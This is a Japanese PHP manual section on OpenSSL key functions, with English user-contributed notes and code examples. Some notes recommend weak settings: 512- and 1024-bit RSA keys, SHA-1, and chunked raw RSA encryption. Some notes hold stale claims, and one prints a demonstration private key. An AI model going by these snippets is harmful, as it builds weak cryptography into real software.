この関数は、openssl_pkey_new() で作成した秘密鍵を開放します。

パラメータ

key

キーを保持するリソース。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | この関数は推奨されなくなりました。 なぜなら、実行しても何の効果もなくなったからです。
8.0.0 | key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。

User Contributed Notes

suconghou at gmail dot com 05-Jan-2021 08:31
PHP 8 deprecates openssl_free_key (actually openssl_pkey_free which it aliases) and automatically destroys the key instance when it goes out of scope.
djmaze 16-Jul-2019 08:51
This function also frees public key resources as received with openssl_pkey_get_public().

Manual above should say: "Frees a pkey resource"


キーの詳細の配列を返す

  • ≪ openssl_pkey_free
  • openssl_pkey_get_private ≫
  • PHP Manual
  • OpenSSL 関数
  • キーの詳細の配列を返す

openssl_pkey_get_details

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_pkey_get_details — キーの詳細の配列を返す

説明

openssl_pkey_get_details ( OpenSSLAsymmetricKey $key ) : array|false

この関数は、キーの詳細 (bits, key, type) を返します。

パラメータ

key

キーを保持する配列。

返り値

成功した場合にキーの詳細を含む配列、失敗した場合に false を返します。 返される配列のキーは bits (ビット数)、 key (公開鍵を表す文字列) および type (キーの種類。 OPENSSL_KEYTYPE_RSA、 OPENSSL_KEYTYPE_DSA、 OPENSSL_KEYTYPE_DH、 OPENSSL_KEYTYPE_EC のいずれか。あるいは不明な場合は -1) となります。

使っているキーの型によって、さらに詳細が返されます。 常に存在するわけではない要素もあることに注意しましょう。

  • OPENSSL_KEYTYPE_RSA の場合は "rsa" というキーがあり、キーのデータが返されます。
    キー | 説明
    "n" | modulus
    "e" | public exponent
    "d" | private exponent
    "p" | prime 1
    "q" | prime 2
    "dmp1" | exponent1, d mod (p-1)
    "dmq1" | exponent2, d mod (q-1)
    "iqmp" | coefficient, (inverse of q) mod p
  • OPENSSL_KEYTYPE_DSA の場合は "dsa" というキーがあり、キーのデータが返されます。
    キー | 説明
    "p" | prime number (public)
    "q" | 160-bit subprime, q | p-1 (public)
    "g" | generator of subgroup (public)
    "priv_key" | private key x
    "pub_key" | public key y = g^x
  • OPENSSL_KEYTYPE_DH の場合は "dh" というキーがあり、キーのデータが返されます。
    キー | 説明
    "p" | prime number (shared)
    "g" | generator of Z_p (shared)
    "priv_key" | private DH value x
    "pub_key" | public DH value g^x
  • OPENSSL_KEYTYPE_EC の場合は "ec" というキーがあり、キーのデータが返されます。
    Key | 説明
    "curve_name" | name of curve, see openssl_get_curve_names()
    "curve_oid" | ASN1 Object identifier (OID) for EC curve.
    "x" | x coordinate (public)
    "y" | y coordinate (public)
    "d" | private key

変更履歴

バージョン | 説明
8.0.0 | key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。

User Contributed Notes

There are no user contributed notes for this page.


秘密鍵を取得する

  • ≪ openssl_pkey_get_details
  • openssl_pkey_get_public ≫
  • PHP Manual
  • OpenSSL 関数
  • 秘密鍵を取得する

openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_private — 秘密鍵を取得する

説明

openssl_pkey_get_private ( OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , string|null $passphrase = null ) : OpenSSLAsymmetricKey|false

openssl_pkey_get_private() は private_key をパースし、他の関数で使用できるよう準備します。

パラメータ

private_key

private_key は以下のいずれかです。

  1. file://path/to/file.pem 形式の文字列。 このファイルは、PEM エンコードされた証明書/秘密鍵である必要が あります（両方を含むことも可能です）。
  2. PEM フォーマットの秘密鍵。

passphrase

指定されたキーが（パスフレーズを用いて）暗号化されている場合は、 オプションのパラメータ passphrase を使用する必要があります。

返り値

成功した場合に、 OpenSSLAsymmetricKey クラスのインスタンスを返します。 エラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、 この関数は OpenSSLAsymmetricKey クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを返していました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。
8.0.0 | passphrase は、nullable になりました。

User Contributed Notes

pablo dot siciliano at gmail dot com 10-Oct-2020 02:26
Hi.

If this function not work with pathname try with a file_get_contents of a key file.
kristof1 at mailbox dot hu 10-May-2014 03:34
It's actually "file://key.pem" when you want to give a relative path using unix systems. It will be three '/' in case of absolute path (e.g "file:///home/username/..."). But this path consists of two '/' originated from "file://" and one '/' from the fact that home is a subfolder of the unix filesystem's root directory ("/home/username/..."). This two part will be concatenated and you will get three '/' characters following each other.

So you only have to concatenate "file://" with an existing path string in every case.


証明書から公開鍵を抽出し、使用できるようにする

  • ≪ openssl_pkey_get_private
  • openssl_pkey_new ≫
  • PHP Manual
  • OpenSSL 関数
  • 証明書から公開鍵を抽出し、使用できるようにする

openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_public — 証明書から公開鍵を抽出し、使用できるようにする

説明

openssl_pkey_get_public ( OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key ) : OpenSSLAsymmetricKey|false

openssl_pkey_get_public() は公開鍵を public_key から抽出し、 他の関数で使用できるよう準備します。

パラメータ

public_key

public_key は以下のいずれかです。

  1. OpenSSLAsymmetricKey クラスのインスタンス
  2. file://path/to/file.pem 形式の文字列。 このファイルは、PEM エンコードされた証明書/公開鍵である必要が あります（両方を含むことも可能です）。
  3. PEM フォーマットの公開鍵。

返り値

成功した場合に OpenSSLAsymmetricKey クラスのインスタンスを返します。 エラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、 この関数は OpenSSLAsymmetricKey クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを返していました。
8.0.0 | public_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

GeniusLe at zslm dot org 19-Aug-2020 05:55
You may need to export a public key from the private key, because the public key provided by the key generated by other tools is in pem format, and we need openssh format

```
<?php
$public = openssl_pkey_get_details(openssl_pkey_get_private(OPENSSL_USER_PRIVATE_KYE))['key'];

// save $public

```
igniweb dot net at gmail dot com 04-May-2018 01:54
To complete http://php.net/manual/fr/function.openssl-pkey-get-public.php#101513

Michaela code retranscription can be :

$key = str_replace([
    '-----BEGIN RSA PUBLIC KEY-----',
    '-----END RSA PUBLIC KEY-----',
    "\r\n",
    "\n",
], [
    '',
    '',
    "\n",
    ''
], $key);

$key = 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . trim($key);

$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
Joey 12-Sep-2016 03:24
I spent a few hours raging with this function and hitting my head on the desk trying to get it to load a public PEM key.

This function can leave errors in openssl_error_string even if it succeeded so this can cause a lot of confusion further down. Especially if you're prototyping and haven't put full checks on return values in yet. The error will not be cleared either when calling other functions successfully.

To avoid confusion, you should always check the return result and only call openssl_error_string after calling an openssl function that returned failure (false).
Rurri 25-Feb-2012 07:35
If you have a 4096 bit key pair and are trying to use a public key that begins with:

-----BEGIN RSA PUBLIC KEY-----

and you need to convert it for this function to use, you can convert it by prepending the static header information:

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A

Such as:

$start_key = str_replace('-----BEGIN RSA PUBLIC KEY-----', '', $start_key);
$start_key = trim(str_replace('-----END RSA PUBLIC KEY-----', '', $start_key));
$key = 'MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A' . str_replace("\n", '', $start_key);
$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
ppostma1 15-Jun-2011 08:32
found the cert/public key for 2048 bits is this format:

-----BEGIN PUBLIC KEY-----
X509 signature + PEM sig + modulus + 'ID' + exponent
-----END PUBLIC KEY-----

so the variables are:
-----BEGIN PUBLIC KEY-----
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . 'MIIBCgKCAQEA' . $modulus . 'ID' . $exponent
-----END PUBLIC KEY-----

<?php wordwrap($cert, 64, "\r\n", true); ?>
info at steyla dot com 21-Dec-2010 11:55
If you are trying to read a PKCS#1 RSA public key you run into trouble, because openssl wants the public key in X.509 style.

The PKCS#1 RSA public key

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9kqQ/HVp+T2KtmvShe68cm8luR7Dampmb
[...]
cbn6n2FsV91BlEnrAKq65PGJxcwcH5+aJwIDAQAB
-----END RSA PUBLIC KEY-----

.. is  not readable while the X.509 style public key

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9
[..]
JwIDAQAB
-----END PUBLIC KEY-----

is. You can use an easy (and dirty) work around to read the PKCS#1 RSA anyway. The first few bytes of the X.509 style public key contain header information and can shamelessly be copied.

In other words: Delete everything after the first 32 bytes from the above X.509 key (starting behind Q8A) and attach your PKCS#1 data, reformat to 64 bytes length and use it with openssl.

Please note: The above example only works for 2048 bit length.

Like I said - it's kind of dirty - but hey - if you're as desperate as I was.

Michaela
Paul Clark 15-Feb-2010 07:50
Note this will read public keys from PEM formatted public keys as well:

<?php
$key = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDXX/MsKEBLcLeKA1d/i7ufG1qs
qS97xFkIRSeX3TwmHic843AfVrzoh2pZUeOvK9ZLZQpHSM7DoHMYDGD1273+FvZX
Ypf5LiFtecfxko/Cku16zy6WAeCYVFjjlveBhwPmPCIk+qDRYeiIW05QE2XK+CuD
nJ7sxxXIJSSgD3Jo5wIDAQAB
-----END PUBLIC KEY-----
EOF;

print $key;
$res = openssl_pkey_get_public($key);
print_r(openssl_pkey_get_details($res));
?>

Note that contrary to the documentation, openssl_pkey_get_details() will *not* read PEM directly, and you have to go through this step.
thelen dot shar at gmail dot com 25-Jan-2009 12:08
Found it difficult to get my head around this due to lack of documentation.

But the process I followed for all this was:
Generate private key:
openssl genrsa -des3 -out private.pem 1024

Generate public key:
openssl rsa -in private.pem -out public.pem -outform PEM -pubout

Then in PHP:
$passphrase = 'somestring';
$key_private = openssl_get_privatekey(file_get_contents('private.pem'), $passphrase);
$key_public = openssl_get_publickey(file_get_contents('public.pem'));

Probably not the best way of doing it, but a lot simpler than the other examples on the site. I was having trouble getting the pubkey, it wasn't exactly specified very well, and I had made a mistake in generating it so it wasn't working for that reason as well.
VaD 06-Jun-2008 10:36
Small error in this code:

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
07-May-2007 12:40
you can get (and save to file) public key using openssl_pkey_get_details(resource $key ) function:

<?php
$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
?>
dankybastard at hotmail 09-Feb-2005 08:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
09-Aug-2004 11:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.


新規に秘密鍵を生成する

  • ≪ openssl_pkey_get_public
  • openssl_private_decrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • 新規に秘密鍵を生成する

openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_new — 新規に秘密鍵を生成する

説明

openssl_pkey_new ( array|null $options = null ) : OpenSSLAsymmetricKey|false

openssl_pkey_new() は、 新しい秘密鍵を生成します。 鍵の公開部を取得する方法は、以下の例に示します。

注意: この関数を正しく動作させるには、正しい形式の openssl.cnf をインストールしておく必要があります。 詳細な情報は、インストールについてのセクション を参照ください。

パラメータ

options

鍵の作成方法の詳細（ビット数など）を指定するには、 options を使用します。 options の詳細な情報については openssl_csr_new() を参照ください。

返り値

成功した場合に、OpenSSLAsymmetricKey クラスのインスタンスを返します。 エラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、 この関数は OpenSSLAsymmetricKey クラスのインスタンスを返すようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを返していました。
7.1.0 | EC キーを作成できるようにするため、 options に curve_name が追加されました。

例

例1 秘密鍵から、公開鍵を取得する

<?php
$private_key = openssl_pkey_new();
$public_key_pem = openssl_pkey_get_details($private_key)['key'];
echo $public_key_pem;
$public_key = openssl_pkey_get_public($public_key_pem);
var_dump($public_key);
?>

上の例の出力は、 たとえば以下のようになります。

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArZFsmN2P6rx1Xt7YV95o
gcdlal0k3ryiIhFNzjwtRNNTXfEfBr6lUuaIJYQ8/XqEBX0hpcfuuF6tTRlonA3t
WLME0QFD93YVsAaXcy76YqjjqcRRodIBphAbYyyMI/lXkQAdn7kbAmr7neSOsMYJ
El9Wo4Hl4oG6e52ZnYHyqW9dxh4hX93eupR2TmcCdVf+r9xoHewP0KJYSHt7vDUX
AQlWYcQiWHIadFsmL0orr6mutlXFReoHbesgKY9/3YLOu0JfxflSjIZ2JeL1NTl1
MsmODsUwgAUrwnWKKx+eQUP5g3GnSB3dPkRh9zRVRiLNWbCugyjrf3e6DgQWrW7j
pwIDAQAB
-----END PUBLIC KEY-----
resource(5) of type (OpenSSL key)

User Contributed Notes

Jan 03-Jan-2019 09:02
In case this function returns false, then check your openssl.cnf and make sure that in the [req] section of this file the entry default_bits is not commented out.
gomez dot alejandre at gmail dot com 08-Dec-2018 01:43
Not forget the $configArgs for windows users :D, or the method throws a error with the primary key

//write your configurations :D
$configargs = array(
  "config" => "C:/xampp/php/extras/openssl/openssl.cnf",
  'private_key_bits'=> 2048,
  'default_md' => "sha256",
);

// Create the keypair
$res=openssl_pkey_new($configargs);
// Get private key
openssl_pkey_export($res, $privKey,NULL,$configargs);

and it's for all methods ._ .

a full implementation example here.

https://gist.github.com/DuckHunter213/269a0efd17e709f7f1f177ae7da46ad1

this error take me 3 full days you'r welcome :)
dodginess at yahoo dot com 15-Mar-2017 11:39
If you're using openssl_pkey_new() in conjunction with openssl_csr_new() and want to change the CSR digest algorithm as well as specify a custom key size, the configuration override should be defined once and sent to both functions:

<?php
$config = array(
    'digest_alg' => 'sha1',
    'private_key_bits' => 2048,
    'private_key_type' => OPENSSL_KEYTYPE_RSA,
);

$privkey = openssl_pkey_new($config);

$csr = openssl_csr_new($dn, $privkey, $config);
?>

Although openssl_pkey_new() will accept the 'digest_alg' argument it won't use it, and setting the value has no effect unless you also set this value for openssl_csr_new(). The reason for this is that the $config array is acting as a drop-in replacement for the values found in the openssl.cnf file, so it must contain all of the override values that you need even if the function they're being sent to won't use them.

Also, if you change the 'digest_alg' to something like 'sha256' and still get an MD5 signed CSR check your openssl.cnf file to see whether the digest algorithm you want to use is actually supported.
scott at brynen dot com 24-Feb-2015 09:36
If you try and generate a new key using openssl_pkey_new(), and need to specify the size of the key, the key MUST be type-bound to integer

// works
$keysize = 1024;
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// fails
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// works (force to int)
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => (int)$keysize));
dirt at awoms dot com 26-Mar-2013 08:52
Working example:

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);

// Create the private and public key
$res = openssl_pkey_new($config);

// Extract the private key from $res to $privKey
openssl_pkey_export($res, $privKey);

// Extract the public key from $res to $pubKey
$pubKey = openssl_pkey_get_details($res);
$pubKey = $pubKey["key"];

$data = 'plaintext data goes here';

// Encrypt the data to $encrypted using the public key
openssl_public_encrypt($data, $encrypted, $pubKey);

// Decrypt the data using the private key and store the results in $decrypted
openssl_private_decrypt($encrypted, $decrypted, $privKey);

echo $decrypted;
zelnaga at gmail dot com 07-Jun-2012 05:21
Getting the public key corresponding to a particular private key, through the methods provided for by OpenSSL, is a bit cumbersome. An easier way to do it is to use phpseclib, a pure PHP RSA implementation:

<?php
include('Crypt/RSA.php');

$rsa = new Crypt_RSA();
$rsa->loadKey('...');

$privatekey = $rsa->getPrivateKey();
$publickey = $rsa->getPublicKey();
?>

Doesn't require any extensions be installed.  It'll use bcmath or gmp if they're available, for speed, but doesn't even require those.
jthijssen at notloxic dot nl 11-Feb-2011 06:17
If you want to change the default private key size (1024) too something else you can use the following code:

<?php
$config = array('private_key_bits' => 512);
$privKey = openssl_pkey_new($config);

?>

Mind though that the minimum number of bits is 384. Any lower will trigger an error.
Brad 02-Apr-2008 12:17
It's easier than all that, if you just want the keys:

<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
?>
NOSPAM dot alchaemist at hiperlinux dot com dot ar 30-May-2004 12:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;     // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.


秘密鍵でデータを復号する

  • ≪ openssl_pkey_new
  • openssl_private_encrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • 秘密鍵でデータを復号する

openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_decrypt — 秘密鍵でデータを復号する

説明

openssl_private_decrypt ( string $data , string &$decrypted_data , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , int $padding = OPENSSL_PKCS1_PADDING ) : bool

openssl_private_decrypt() は、事前に openssl_public_encrypt() で暗号化された data を復号し、それを decrypted_data に格納します。

これを使用するのは、例えばあなたにのみ送られてきたデータを復号する場合です。

パラメータ

data

decrypted_data

private_key

private_key は、 データの暗号化に使用したものに対応する秘密鍵である必要があります。

padding

padding には、 OPENSSL_PKCS1_PADDING、 OPENSSL_SSLV23_PADDING、 OPENSSL_PKCS1_OAEP_PADDING、 OPENSSL_NO_PADDING が指定可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

参考

  • openssl_public_encrypt() - 公開鍵でデータを暗号化する
  • openssl_public_decrypt() - 公開鍵でデータを復号する

User Contributed Notes

tjusongchao at gmail dot com 08-Apr-2015 10:45
of course you have to add the openssl extension to you php environment.
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:58
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


秘密鍵でデータを暗号化する

  • ≪ openssl_private_decrypt
  • openssl_public_decrypt ≫
  • PHP Manual
  • OpenSSL 関数
  • 秘密鍵でデータを暗号化する

openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_encrypt — 秘密鍵でデータを暗号化する

説明

openssl_private_encrypt ( string $data , string &$encrypted_data , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , int $padding = OPENSSL_PKCS1_PADDING ) : bool

openssl_private_encrypt() は、data を秘密鍵 private_key で暗号化し、それを encrypted_data に格納します。暗号化されたデータは、 openssl_public_decrypt() を用いて復号可能です。

この関数を使用するのは、例えばデータ（あるいはその一部）に署名をし、 それが他人によって書かれたものでないことを証明する場合です。

パラメータ

data

encrypted_data

private_key

padding

padding には OPENSSL_PKCS1_PADDING あるいは OPENSSL_NO_PADDING が指定可能です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

参考

  • openssl_public_encrypt() - 公開鍵でデータを暗号化する
  • openssl_public_decrypt() - 公開鍵でデータを復号する

User Contributed Notes

Hernanibus 31-Aug-2016 02:52
Just a little note on  [P.Peyremorte]'s note.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
P.Peyremorte 15-Mar-2016 06:17
A trick not mentioned in manual to know :

- openssl_private_encrypt can encrypt a maximum of 117 chars at one time.
- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler).

So, to encode a longer stream input you have to use something like :
<?php
$RawData = ... ; //Your input data to encode

$PartialData = '';
$EncodedData = '';
$Split = str_split($RawData , 117);
ForEach($Split as $Part)
{
  openssl_private_encrypt($Part, $PartialData, $PrivateKey);
  $EncodedData .= base64_encode($PartialData);
}
?>

and then, to decode :

<?php
$OriginalData = '';
$Split = str_split($EncodedData , 172);
ForEach($Split as $Part)
{
  openssl_private_decrypt(base64_decode($Part), $PartialData, $PublicKey);
  $OriginalData .= $PartialData;
}
?>
adityasingh at techknowtrends dot com 02-Apr-2012 09:18
Here is a over simplified version of using the crypt capabilities for getting started:

$res = openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey = openssl_pkey_get_details($res);
$pubkey = $pubkey["key"];
var_dump($privkey);
var_dump($pubkey);

// get some text from command line to work with
$tocrypt = trim(fgets(STDIN));

// some variables to work with
$encryptedviaprivatekey = ""; //holds text encrypted with the private key
$decryptedviapublickey = ""; // holds text which was decrypted by the public key after being encrypted with the private key, should be same as $tocrypt
$encryptedviapublickey = ""; // holds text that was encrypted with the public key
$decryptedviaprivatekey = ""; // holds text that was decrypted with the private key after being encrypted with the public key, should be the same as $tocrypt

openssl_private_encrypt($tocrypt, $encryptedviaprivatekey, $privkey);
echo $tocrypt . "->" . $encryptedviaprivatekey;
echo "\n\n";
openssl_public_decrypt($encryptedviaprivatekey, $decryptedviapublickey, $pubkey);
echo $encryptedviaprivatekey . "->" . $decryptedviapublickey;
echo "\n\n";

openssl_public_encrypt($tocrypt,$encryptedviapublickey, $pubkey);
echo $tocrypt . "->" . $encryptedviapublickey;
echo "\n\n";
openssl_private_decrypt($encryptedviapublickey, $decryptedviaprivatekey, $privkey);
echo $encryptedviapublickey . "->" . $decryptedviaprivatekey;

Output:

string(887) "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCy745x8AqGKlTWBu2Ub80boPaQxo/midZ4LHZ0zbPpiCAfkADN
VYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf8K/mA0LQ00MKBFaFottWt5cC
IaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTvpXRk0u46D6hKiy+TSQIDAQAB
AoGBAJe1jjNCDtoz19vi4doBdIhhT8vt3iHbafBX2lMr+MceeAXqpRNy10+e9op9
uh0G4+vGDialZnYbMBLs6Ngl+nVnzn+cN1MMJ18brgf3biZKzVzK9wmOW4eycWaR
9eLa7/+ns8Cw5GsLJdG+OHR2gXRXU4hzUFdf90UUbP+kuqK1AkEA2X04XznFDNmT
NuhyCixwinlziazJBp/81jjaBhYj3cG0nTF0Gactc/yD0yudbrMqjLBfts+FbG3Z
yFHKrAB/cwJBANKetll3M3aCGsermEK+9hbB8yMihCju6pAwClUNkrAgrm9zU4LP
WkC81RDzXbz+pfIqpopfn34F3+U2iMiOe1MCQCXpTgpLZ631v1Oy8S4U0QlSYnF9
TQ16lfhBsL+e3GGrgnBkTniqS6IMQm5tC+RgFuqvU//p7LgZ7fydRVb2P0ECQFp9
YADuKskmutTAj6lVnCtI5upYgQmJJHQQf8/tBfHwCKHPnbic17zqpGwk80go7Ckw
U98tmDuv0HMNTBVGygsCQALck7VNBRjL9iFzJMFis+alcP1ZC88wOLPvIxYbevUH
c8rZwRqt1aHwaWOoxcVom+tyzRC6gEYoBarmU1bX4No=
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCy745x8AqGKlTWBu2Ub80boPaQ
xo/midZ4LHZ0zbPpiCAfkADNVYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf
8K/mA0LQ00MKBFaFottWt5cCIaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTv
pXRk0u46D6hKiy+TSQIDAQAB
-----END PUBLIC KEY-----
"
this is a test for crypting
( |E@n\u?7Feμ\+-M?ik?7\;t?8[j?nr?|a-TU++sYG?-uo|}9+k8OJn_?|x?|
do+aev.ca?-i`,|?・5u|p%Z2?UI?u ?

( |E@n\u?7Feμ\+-M?ik?7\;t?8[j?nr?|a-TU++sYG?-uo|}9+k8OJn_?|x?|
do+aev.ca?-i`,|?・5u|p%Z2?UI?u ?->this is a test for crypting

this is a test for crypting->hT!!_
#+￡-isyo≫￠aSs+uSnaO-(|eIkl[?|=?i?C+Uy・N,=b=+|TameNo|A~uNtu|@y?≫|SV5Na*|?・UyoPOFq
-? O{2|a|,aIN)+_-oF+*|{|??G-??￡/?￢±"PFL

